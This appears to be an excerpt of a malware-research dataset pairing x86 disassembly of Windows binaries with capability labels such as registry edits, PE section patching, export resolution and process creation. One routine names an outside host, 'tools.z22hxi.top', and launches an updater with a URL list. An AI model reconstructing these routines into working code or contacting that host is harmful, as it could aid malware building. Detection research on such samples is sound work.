joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006089
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffebc0
push esi
push edi
push ebx
lea eax, [ebp - 0xc00]
push eax
push 0x400
call sub.KERNEL32.DLL_GetTempPathA
lea eax, [ebp - 0x400]
push eax
push 0x400
call sub.KERNEL32.DLL_GetCurrentDirectoryA
lea eax, [ebp - 0xc00]
push eax
call sub.KERNEL32.DLL_SetCurrentDirectoryA
mov edi, 0x1001263d
xor ebx, ebx
jmp 0x10006194
cmp byte [esi], 0x18
jne 0x10006194
push 0x10
lea eax, [ebp - 0x1440]
push eax
lea eax, [esi + 1]
push eax
call fcn.10002200
lea eax, [ebp - 0xc00]
push eax
lea eax, [ebp - 0x1400]
push eax
call sub.KERNEL32.DLL_lstrcpyA
push 0x1000d7eb
lea eax, [ebp - 0x1400]
push eax
call sub.KERNEL32.DLL_lstrcatA
lea eax, [ebp - 0x1440]
push eax
lea eax, [ebp - 0x1400]
push eax
call sub.KERNEL32.DLL_lstrcatA
push 0x1000d7ed
lea eax, [ebp - 0x1400]
push eax
call sub.KERNEL32.DLL_lstrcatA
lea eax, [ebp - 0x1440]
push eax
push dword [0x1000d8a2]
call fcn.1000149b
mov edx, eax
push dword [0x1000d880]
push edx
lea eax, [ebp - 0x1400]
push eax
call sym.dup2patcher.dll_write_disk_file
or eax, eax
je 0x10006194
lea eax, [ebp - 0x1400]
push eax
call sub.KERNEL32.DLL_LoadLibraryA
or eax, eax
je 0x10006194
mov dword [edi + 4], eax
lea edx, [edi + 8]
lea eax, [esi + 1]
push dword [eax]
pop dword [edx]
push dword [eax + 4]
pop dword [edx + 4]
push dword [eax + 8]
pop dword [edx + 8]
push dword [eax + 0xc]
pop dword [edx + 0xc]
add edi, 0x18
inc ebx
push ebx
push dword [0x1000d8a2]
call fcn.1000149b
mov esi, eax
or esi, esi
jne 0x100060d4
lea eax, [ebp - 0x400]
push eax
call sub.KERNEL32.DLL_SetCurrentDirectoryA
pop ebx
pop edi
pop esi
leave
ret

Function at 0x100061bc
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffefc0
push esi
push edi
push ebx
lea eax, [ebp - 0x800]
push eax
push 0x400
call sub.KERNEL32.DLL_GetTempPathA
mov edi, 0x1001263d
jmp 0x10006251
push dword [edi + 4]
call sub.KERNEL32.DLL_FreeLibrary
push 0x10
lea eax, [ebp - 0x1040]
push eax
lea eax, [edi + 8]
push eax
call fcn.10002200
lea eax, [ebp - 0x800]
push eax
lea eax, [ebp - 0x1000]
push eax
call sub.KERNEL32.DLL_lstrcpyA
push 0x1000d7f2
lea eax, [ebp - 0x1000]
push eax
call sub.KERNEL32.DLL_lstrcatA
lea eax, [ebp - 0x1040]
push eax
lea eax, [ebp - 0x1000]
push eax
call sub.KERNEL32.DLL_lstrcatA
push str..dll
lea eax, [ebp - 0x1000]
push eax
call sub.KERNEL32.DLL_lstrcatA
lea eax, [ebp - 0x1000]
push eax
call sub.KERNEL32.DLL_DeleteFileA
add edi, 0x18
cmp dword [edi + 4], 0
jne 0x100061e0
pop ebx
pop edi
pop esi
leave
ret
Function at 0x100065ae
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
push edx
push esi
push edi
mov esi, dword [ebp + 8]
xor ecx, ecx
jmp 0x100065f2
inc ecx
cmp ecx, dword [0x1000e519]
jne 0x100065f2
push 0x400
push 0x10021e45
push 0x16
push dword [0x1000d8a2]
call sub.user32.dll_LoadStringA
push 0x10021e45
call sym.dup2patcher.dll_AddMsg
xor eax, eax
pop edi
pop esi
pop edx
pop ecx
pop ebx
leave
ret 0x14
cmp dword [ecx + esi], 0x4550
jne 0x100065bd
add esi, ecx
mov eax, dword [ebp + 8]
add eax, dword [0x1000e519]
cmp dword [eax - 4], 0x32505564
jne 0x10006632
push 0x400
push 0x10022245
push 0x17
push dword [0x1000d8a2]
call sub.user32.dll_LoadStringA
push 0x10022245
call sym.dup2patcher.dll_AddMsg
jmp 0x100065e7
push esi
movzx eax, word [esi + 6]
dec eax
imul eax, eax, 0x28
movzx ecx, word [esi + 0x14]
add esi, 0x18
add esi, ecx
mov edi, esi
or dword [edi + 0x24], 0x80000000
add edi, eax
pop esi
mov dword [0x1000698d], 0
cmp dword [ebp + 0xc], 4
jne 0x10006667
or dword [0x1000698d], 1
test dword [ebp + 0x18], 0x40
je 0x10006677
or dword [0x1000698d], 2
mov ebx, dword [esi + 0x28]
mov dword [0x10006985], ebx
mov eax, dword [edi + 0xc]
add eax, dword [edi + 0x10]
mov dword [esi + 0x28], eax
cmp dword [ebp + 0xc], 4
jne 0x10006699
mov eax, dword [edi + 0xc]
mov ebx, dword [edi + 0x10]
add eax, ebx
jmp 0x1000669b
xor eax, eax
mov dword [0x10006991], eax
mov eax, dword [ebp + 8]
add eax, dword [edi + 0x14]
add eax, dword [edi + 0x10]
mov ecx, 0x10006730
mov ebx, 0x278
mov edx, eax
add edx, ebx
push edx
push ebx
push ecx
push eax
call sub.KERNEL32.DLL_RtlMoveMemory
pop edx
mov ecx, dword [ebp + 0x14]
mov eax, dword [ecx + 0x16]
lea ecx, [eax + ecx]
mov ebx, dword [0x1000d880]
sub ebx, eax
push ebx
push ecx
push edx
call sub.KERNEL32.DLL_RtlMoveMemory
mov eax, dword [ebp + 0x10]
push 0x100
push eax
call fcn.10006ee0
add dword [edi + 8], eax
mov eax, dword [ebp + 0x10]
add dword [edi + 0x10], eax
or dword [edi + 0x24], 0xe0000000
mov eax, dword [edi + 0xc]
add eax, dword [edi + 8]
mov ebx, dword [esi + 0x38]
push ebx
push eax
call fcn.10006ee0
mov dword [esi + 0x50], eax
mov ecx, dword [ebp + 8]
add ecx, dword [0x1000e529]
mov byte [ecx - 1], 0x32
mov byte [ecx - 2], 0x50
mov byte [ecx - 3], 0x55
mov byte [ecx - 4], 0x64
xor eax, eax
inc eax
pop edi
pop esi
pop edx
pop ecx
pop ebx
leave
ret 0x14
Function at 0x10006807
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
push edx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov edx, ebx
movzx eax, word [ebx + 0x3c]
add ebx, eax
mov ebx, dword [ebx + 0x78]
add ebx, edx
or edi, edi
je 0x10006866
mov ecx, dword [ebx + 0x18]
mov esi, dword [ebx + 0x20]
add esi, edx
push ebx
xor ebx, ebx
lodsd eax, dword [esi]
add eax, edx
push esi
push edi
xchg edi, esi
xchg edi, eax
lodsb al, byte [esi]
or al, al
jne 0x10006845
cmp byte [edi], 0
je 0x1000684e
jmp 0x1000684c
cmp byte [edi], al
jne 0x1000684c
inc edi
jmp 0x10006839
mov al, 1
pop edi
pop esi
or al, al
je 0x10006857
inc ebx
loop 0x10006831
xchg ebx, eax
pop ebx
mov esi, dword [ebx + 0x24]
add esi, edx
inc eax
shl eax, 1
add esi, eax
movzx ecx, word [esi]
mov esi, dword [ebx + 0x1c]
add esi, edx
sub ecx, dword [ebx + 0x10]
xchg ecx, eax
shl eax, 2
add esi, eax
mov eax, dword [esi]
add eax, edx
pop esi
pop edi
pop edx
pop ecx
pop ebx
leave
ret 8

Function at 0x10006d14
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
mov dword [ebp - 4], eax
push dword [ebp + 8]
call fcn.10006db0
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call sub.KERNEL32.DLL_WriteFile
mov eax, dword [ebp - 8]
leave
ret 4

Function at 0x10006d4c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
jne 0x10006d77
xor eax, eax
leave
ret 0xc
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.KERNEL32.DLL_WriteFile
push dword [ebp - 4]
call sub.KERNEL32.DLL_FlushFileBuffers
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 8]
leave
ret 0xc

Function at 0x10006f00
Capabilities:
Check os version
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff60
cmp dword [ebp + 0x18], 1
jne 0x10006f45
mov dword [ebp - 0xa0], 0x94
lea eax, [ebp - 0xa0]
push eax
call sub.KERNEL32.DLL_GetVersionExA
cmp dword [ebp - 0x9c], 5
jb 0x10006f3e
cmp dword [ebp - 0x98], 1
jb 0x10006f3e
mov ecx, 0x101
jmp 0x10006f4a
mov ecx, 1
jmp 0x10006f4a
mov ecx, 1
lea eax, [ebp - 4]
push eax
push ecx
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyExA
or eax, eax
jne 0x10006f91
mov eax, 1
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0x400
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 0x14]
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA
push eax
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
pop eax
leave
ret 0x14
Function at 0x10006fa0
Capabilities:
Check os version
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff60
cmp dword [ebp + 0x18], 1
jne 0x10006fe5
mov dword [ebp - 0xa0], 0x94
lea eax, [ebp - 0xa0]
push eax
call sub.KERNEL32.DLL_GetVersionExA
cmp dword [ebp - 0x9c], 5
jb 0x10006fde
cmp dword [ebp - 0x98], 1
jb 0x10006fde
mov ecx, 0x101
jmp 0x10006fea
mov ecx, 1
jmp 0x10006fea
mov ecx, 1
lea eax, [ebp - 4]
push eax
push ecx
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyExA
or eax, eax
jne 0x10007031
mov eax, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 0x14]
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA
push eax
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
pop eax
leave
ret 0x14

Function at 0x100070b0
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
pushal
cmp dword [ebp + 8], 0
jne 0x100070f0
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
lea esi, [ebp - 0x200]
push 0x200
push esi
push eax
call sub.KERNEL32.DLL_GetModuleFileNameA
push esi
call sub.KERNEL32.DLL_lstrlenA
push esi
add esi, eax
jmp 0x100070e5
dec esi
cmp byte [esi], 0x5c
jne 0x100070e4
mov byte [esi], 0
pop esi
jmp 0x100070f3
mov esi, dword [ebp + 8]
push esi
call sub.KERNEL32.DLL_SetCurrentDirectoryA
popal
leave
ret 4

Function at 0x10007170
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbfc
pushal
mov byte [ebp - 1], 0
mov esi, dword [ebp + 8]
or esi, esi
je 0x100071ca
push esi
call sub.KERNEL32.DLL_GetFileAttributesA
cmp eax, 0xffffffff
jne 0x100071ca
cmp byte [esi], 0
je 0x100071ca
lea edi, [ebp - 0x401]
jmp 0x1000719f
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp byte [esi], 0x5c
je 0x100071a9
cmp byte [esi], 0
jne 0x1000719d
cmp al, 0x3a
je 0x1000719d
lodsb al, byte [esi]
stosb byte es:[edi], al
mov byte [edi], 0
push 0
lea eax, [ebp - 0x401]
push eax
call sub.KERNEL32.DLL_CreateDirectoryA
cmp byte [esi - 1], 0
jne 0x1000719b
mov byte [ebp - 1], 1
popal
movzx eax, byte [ebp - 1]
leave
ret 4

Function at 0x100071e0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
pushal
mov byte [ebp - 1], 0
mov esi, dword [ebp + 8]
or esi, esi
je 0x1000724e
push esi
call sub.KERNEL32.DLL_lstrlenA
or eax, eax
je 0x1000724e
mov ebx, eax
push 0
call sub.user32.dll_OpenClipboard
cmp eax, 1
jne 0x1000724e
add ebx, 2
push ebx
push 0x2042
call sub.KERNEL32.DLL_GlobalAlloc
or eax, eax
je 0x10007249
mov ebx, eax
push ebx
call sub.KERNEL32.DLL_GlobalLock
or eax, eax
je 0x10007249
mov edi, eax
push esi
push edi
call sub.KERNEL32.DLL_lstrcpyA
call sub.user32.dll_EmptyClipboard
cmp eax, 1
jne 0x10007249
push edi
call sub.KERNEL32.DLL_GlobalUnlock
push ebx
push 1
call sub.user32.dll_SetClipboardData
call sub.user32.dll_CloseClipboard
popal
movzx eax, byte [ebp - 1]
leave
ret 4
Function at 0x1000a578
Capabilities:
Hash data with md5

Disassembly:
push edi
xor eax, eax
mov dword [0x100227b0], eax
xor eax, eax
mov dword [0x100227b4], eax
mov edi, 0x10022760
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov eax, 0x100227a0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
pop edi
ret

Function at 0x1000a6f0
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegCreateKeyExA
or eax, eax
jne 0x1000a72f
push dword [ebp + 0x10]
push dword [ebp - 8]
call sub.advapi32.dll_RegDeleteValueA
push eax
push dword [ebp - 8]
call sub.advapi32.dll_RegCloseKey
pop eax
leave
ret 0xc

Function at 0x1000a740
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push dword [ebp + 0x14]
pop dword [ebp - 0xc]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegCreateKeyExA
or eax, eax
jne 0x1000a78f
push 4
lea eax, [ebp - 0xc]
push eax
push 4
push 0
push dword [ebp + 0x10]
push dword [ebp - 8]
call sub.advapi32.dll_RegSetValueExA
push eax
push dword [ebp - 8]
call sub.advapi32.dll_RegCloseKey
pop eax
leave
ret 0x10

Function at 0x1000a7a0
Capabilities:
Check os version
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff60
cmp dword [ebp + 0x18], 1
jne 0x1000a7e5
mov dword [ebp - 0xa0], 0x94
lea eax, [ebp - 0xa0]
push eax
call sub.KERNEL32.DLL_GetVersionExA
cmp dword [ebp - 0x9c], 5
jb 0x1000a7de
cmp dword [ebp - 0x98], 1
jb 0x1000a7de
mov ecx, 0x101
jmp 0x1000a7ea
mov ecx, 1
jmp 0x1000a7ea
mov ecx, 0xf003f
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push 0
push ecx
push 0
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegCreateKeyExA
or eax, eax
jne 0x1000a834
push dword [ebp + 0x14]
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
push dword [ebp + 0x14]
push 1
push 0
push dword [ebp + 0x10]
push dword [ebp - 8]
call sub.advapi32.dll_RegSetValueExA
push eax
push dword [ebp - 8]
call sub.advapi32.dll_RegCloseKey
pop eax
leave
ret 0x14
Function at 0x401cb0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47e2fd
mov eax, dword fs:[0]
push eax
sub esp, 0xa0
mov eax, dword [0x497340]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
push str.https:__tools.z22hxi.top_version.txt
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
call fcn.004025e0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x40]
push 5
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
push str.1.0.0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0
call fcn.004025e0
lea edx, [ebp - 0x40]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x58]
call fcn.00401a90
test al, al
je 0x401e61
push 0x22
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
push str.update.exe__i_urls.txt__d__PUBLIC_
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
call fcn.004025e0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xac]
push ecx
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x9c], 0x44
push ecx
push 0
push 0
push 0
xor eax, eax
mov dword [ebp - 0x70], 1
cmp dword [ebp - 0x14], 0xf
xorps xmm0, xmm0
push 0
mov word [ebp - 0x5a], ax
mov word [ebp - 0x6c], ax
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
push 0
push 0
push eax
push 0
movlpd qword [ebp - 0x98], xmm0
movlpd qword [ebp - 0x90], xmm0
movlpd qword [ebp - 0x88], xmm0
movlpd qword [ebp - 0x80], xmm0
movlpd qword [ebp - 0x78], xmm0
movlpd qword [ebp - 0x6a], xmm0
movlpd qword [ebp - 0x62], xmm0
movups xmmword [ebp - 0xac], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401e1e
push 0xffffffffffffffff
push dword [ebp - 0xac]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0xac]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xa8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x498318
mov edx, str.Process_completed_successfully._n
jmp 0x401e28
mov ecx, 0x4983e0
mov edx, str.Failed_to_create_the_process._n
call fcn.00401f40
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x401e61
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401e57
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401edc
push ecx
push edx
call fcn.00457723
add esp, 8
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x401e91
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401e87
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401ee1
push ecx
push edx
call fcn.00457723
add esp, 8
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x401ec1
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401eb7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401ee1
push ecx
push edx
call fcn.00457723
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004576e5
mov esp, ebp
pop ebp
ret
call fcn.0045cbff
call fcn.0045cbff
int3
Function at 0x40cd20
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x40cdac
push esi
call fcn.0041fb90
add esp, 4
test al, al
jne 0x40cdac
push ebx
push edi
mov edi, esi
xor ebx, ebx
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x40cd43
sub edi, ecx
push edi
push 0x2e
push esi
call fcn.00427c60
add esp, 0xc
test eax, eax
je 0x40cd77
sub eax, esi
push eax
push 0x2e
push esi
call fcn.00427c60
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x40cd79
inc ebx
mov ecx, esi
sub ecx, ebx
add edi, ecx
test ebx, ebx
cmovne esi, ebx
mov ebx, 0x1505
add edi, esi
cmp esi, edi
jae 0x40cda5
mov al, byte [esi]
push eax
call fcn.0041c990
movsx ecx, al
inc esi
mov eax, ebx
add esp, 4
shl eax, 5
add eax, ebx
xor ecx, eax
mov ebx, ecx
cmp esi, edi
jb 0x40cd87
pop edi
movzx eax, bl
pop ebx
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x412210
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x14]
push ebx
push ebp
mov ebp, dword [esp + 0x20]
mov ebx, 0x180
mov eax, dword [ecx]
cmp eax, 0x497050
mov edx, dword [ecx + 8]
push esi
mov esi, 0x140
mov dword [esp + 0x10], edx
cmovne ebx, esi
mov byte [esp + 0xf], 1
add ebx, dword [ecx + 0xc]
mov esi, 0x3bc
cmp eax, 0x497050
mov dword [esp + 0x18], ebx
mov eax, dword [esp + 0x28]
mov ecx, 0x424
cmovne ecx, esi
mov dword [eax], 0
add ecx, ebp
je 0x4123ad
cmp byte [ecx + 0x3c], 0
je 0x4123ad
cmp dword [ebp + 0x8c8], 0
je 0x4123ad
mov eax, dword [ebp + 0x78]
test eax, eax
je 0x412292
test byte [eax + 4], 0x10
je 0x412292
add eax, 0x78
jmp 0x412298
lea eax, [ebp + 0x8cc]
push edi
xor edi, edi
mov dword [esp + 0x18], eax
cmp dword [ebp + 0x494], edi
jbe 0x412376
xor ebx, ebx
nop dword [eax]
mov esi, dword [ebp + 0x8c8]
add esi, ebx
cmp dword [esi + 0xc], 0
je 0x412366
push dword [esi]
push dword [edx + 8]
call fcn.0041cad0
add esp, 8
test eax, eax
je 0x412362
mov eax, dword [esp + 0x24]
mov ecx, dword [eax + 0xc]
mov eax, dword [esi + 4]
cmp byte [ecx + 0x1c9], 0
jne 0x4122f0
test eax, eax
je 0x412304
jmp 0x412362
test eax, eax
je 0x412362
push eax
push dword [ecx + 0x64]
call fcn.0041cad0
add esp, 8
test eax, eax
je 0x412362
mov eax, dword [esp + 0x24]
mov ecx, dword [eax + 0xc]
mov eax, dword [esi + 0x1c]
cmp byte [ecx + 0x1ca], 0
jne 0x41231e
cmp eax, 0xffffffff
je 0x41232b
jmp 0x412362
cmp eax, 0xffffffff
je 0x412362
cmp dword [ecx + 0x43c], eax
jne 0x412362
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 0x10]
cmp eax, dword [esi + 0x18]
jne 0x412366
mov eax, dword [ecx + 0x1e0]
push dword [esi + 8]
push dword [eax]
call fcn.0041cad0
add esp, 8
test eax, eax
je 0x412362
lea eax, [esi + 0x20]
push eax
push dword [esp + 0x20]
call fcn.00411e40
add esp, 8
test al, al
jne 0x412382
mov edx, dword [esp + 0x14]
inc edi
add ebx, 0x60
cmp edi, dword [ebp + 0x494]
jb 0x4122b0
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x2c]
inc dword [eax]
mov eax, dword [eax]
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0xc]
mov dword [ecx], eax
mov ecx, dword [esp + 0x30]
test ecx, ecx
je 0x4123a3
mov eax, dword [esi + 0x10]
mov dword [ecx], eax
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x10
ret
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x10
ret
Function at 0x419830
Capabilities:
Get common file path

Disassembly:
push ecx
push ebx
push edi
push 0x4829ac
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x41984a
pop edi
pop ebx
pop ecx
ret
push ebp
push esi
push str.LoadLibraryExA
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x18]
mov ebp, eax
push 0x4829c8
push esi
call fcn.004647b0
add esp, 8
test eax, eax
je 0x419892
test ebp, ebp
je 0x419883
push 8
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
test ebp, ebp
je 0x4198b8
push str.AddDllDirectory
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4198b8
push 0x800
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, eax
mov dword [esp + 0x10], edx
test edx, edx
je 0x41996f
mov ecx, esi
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4198d5
sub ecx, ebx
lea eax, [ecx + 1]
add eax, edx
push eax
call dword [section..data]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x419965
push dword [esp + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x419965
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419907
sub ecx, edx
mov eax, 0x5c
mov word [ecx + ebx], ax
mov ecx, ebx
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419920
sub ecx, edx
sub ecx, esi
add ecx, ebx
nop dword [eax]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x419930
test ebp, ebp
je 0x41995c
push 8
push 0
push ebx
call ebp
push ebx
mov edi, eax
call dword [0x497004]
add esp, 4
mov eax, edi
pop esi
pop ebp
pop edi
pop ebx
pop ecx
ret
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push ebx
call dword [0x497004]
add esp, 4
pop esi
pop ebp
mov eax, edi
pop edi
pop ebx
pop ecx
ret
Function at 0x41fcf0
Capabilities:
Create udp socket

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x41fd2e
mov eax, dword [esi + 0x70]
cmp byte [eax + 0xe8], 0
jne 0x41fd1f
push 0
call fcn.0041fcf0
add esp, 4
test al, al
mov eax, dword [esi + 0x70]
setne cl
inc cl
mov byte [eax + 0xe8], cl
mov eax, dword [esi + 0x70]
pop esi
cmp byte [eax + 0xe8], 2
sete al
ret
push 0
push 2
push 0x17
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
jne 0x41fd48
xor esi, esi
test esi, esi
pop esi
setne al
ret
push eax
mov esi, 1
call dword [sym.imp.WS2_32.dll_closesocket]
test esi, esi
pop esi
setne al
ret
Function at 0x428360
Capabilities:
Move file

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
call fcn.0040d130
push dword [esp + 0x38]
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x18], xmm0
call fcn.0046e158
push dword [esp + 0x40]
mov edi, eax
call fcn.0046e158
mov ebx, dword [sym.imp.KERNEL32.dll_MoveFileExA]
add esp, 0xc
mov esi, eax
push 1
push esi
push edi
call ebx
test eax, eax
jne 0x4283f5
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax + eax]
lea eax, [esp + 0x20]
push eax
call fcn.0040d130
movups xmm0, xmmword [esp + 0x14]
sub esp, 0xc
mov ecx, esp
sub esp, 0x10
movups xmmword [ecx], xmm0
mov ecx, esp
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
call fcn.0040d1e0
add esp, 0x20
test edx, edx
ja 0x428419
jb 0x4283e7
cmp eax, 0x3e8
ja 0x428419
push 1
call ebp
push 1
push esi
push edi
call ebx
test eax, eax
je 0x4283b0
test edi, edi
je 0x428402
push edi
call fcn.0045cc5b
add esp, 4
test esi, esi
je 0x42840f
push esi
call fcn.0045cc5b
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
test edi, edi
je 0x428426
push edi
call fcn.0045cc5b
add esp, 4
test esi, esi
je 0x428433
push esi
call fcn.0045cc5b
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x20
ret